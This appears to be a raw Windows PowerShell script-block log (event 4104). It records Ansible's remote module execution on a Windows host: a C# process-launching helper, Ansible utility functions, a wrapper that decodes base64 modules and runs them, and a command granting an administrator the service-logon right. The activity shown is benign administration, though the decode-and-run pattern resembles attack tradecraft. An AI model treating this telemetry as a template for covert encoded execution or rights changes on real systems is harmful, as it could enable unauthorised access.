public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 598a8441-d397-4d31-8dc6-5fd0e13bb78b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2002 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:53 AM | 61e00a24-ee3b-0002-860a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: db805d57-ad92-460b-a789-2e6c0b292a6b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2001 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:53 AM | 61e00a24-ee3b-0002-810a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 3ea8e52c-b080-4788-b3fc-29dab70d7801
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2000 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:52 AM | 61e00a24-ee3b-0002-740a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
FdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cQ29tcG9uZW50IEJhc2VkIFNlcnZpY2luZyIgIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlfCBXaGVyZS1PYmplY3QgeyRfLlBTQ2hpbGROYW1lIC1lcSAiUmVib290UGVuZGluZyJ9CiAgICBpZigoJGZlYXR1cmVEYXRhIC1hbmQgJGZlYXR1cmVEYXRhLlJlcXVpcmVzUmVib290KSAtb3IgJHJlZ0RhdGEgLW9yICRDQlNSZWJvb3RTdGF0dXMpCiAgICB7CiAgICAgICAgcmV0dXJuICRUcnVlCiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgcmV0dXJuICRGYWxzZQogICAgfQp9CgojIHRoaXMgbGluZSBtdXN0IHN0YXkgYXQgdGhlIGJvdHRvbSB0byBlbnN1cmUgYWxsIGRlZmluZWQgbW9kdWxlIHBhcnRzIGFyZSBleHBvcnRlZApFeHBvcnQtTW9kdWxlTWVtYmVyIC1BbGlhcyAqIC1GdW5jdGlvbiAqIC1DbWRsZXQgKgoK", "Ansible.ModuleUtils.FileUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0C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mZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "c:\\openstack\\bin\\SetUserAccountRights.exe -g administrator@cbci-758944-2.local -v SeServiceLogonRight", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 821dccf0-fb85-40e1-9324-d75d800c7708
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1999 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:52 AM | 61e00a24-ee3b-0002-6e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
GUgYXJnIGFzIHRoZSBmYWlsdXJlIG1lc3NhZ2UKICAgICAgICAkbWVzc2FnZSA9ICRvYmoKICAgICAgICAkb2JqID0gQHsgfQogICAgfSBlbHNlIHsKICAgICAgICAjIElmIHRoZSBmaXJzdCBhcmd1bWVudCBpcyB1bmRlZmluZWQgb3IgYSBkaWZmZXJlbnQgdHlwZSwKICAgICAgICAjIG1ha2UgaXQgYSBIYXNodGFibGUKICAgICAgICAkb2JqID0gQHsgfQogICAgfQoKICAgICMgU3RpbGwgdXNpbmcgU2V0LUF0dHIgZm9yIFBTT2JqZWN0IGNvbXBh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pb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVy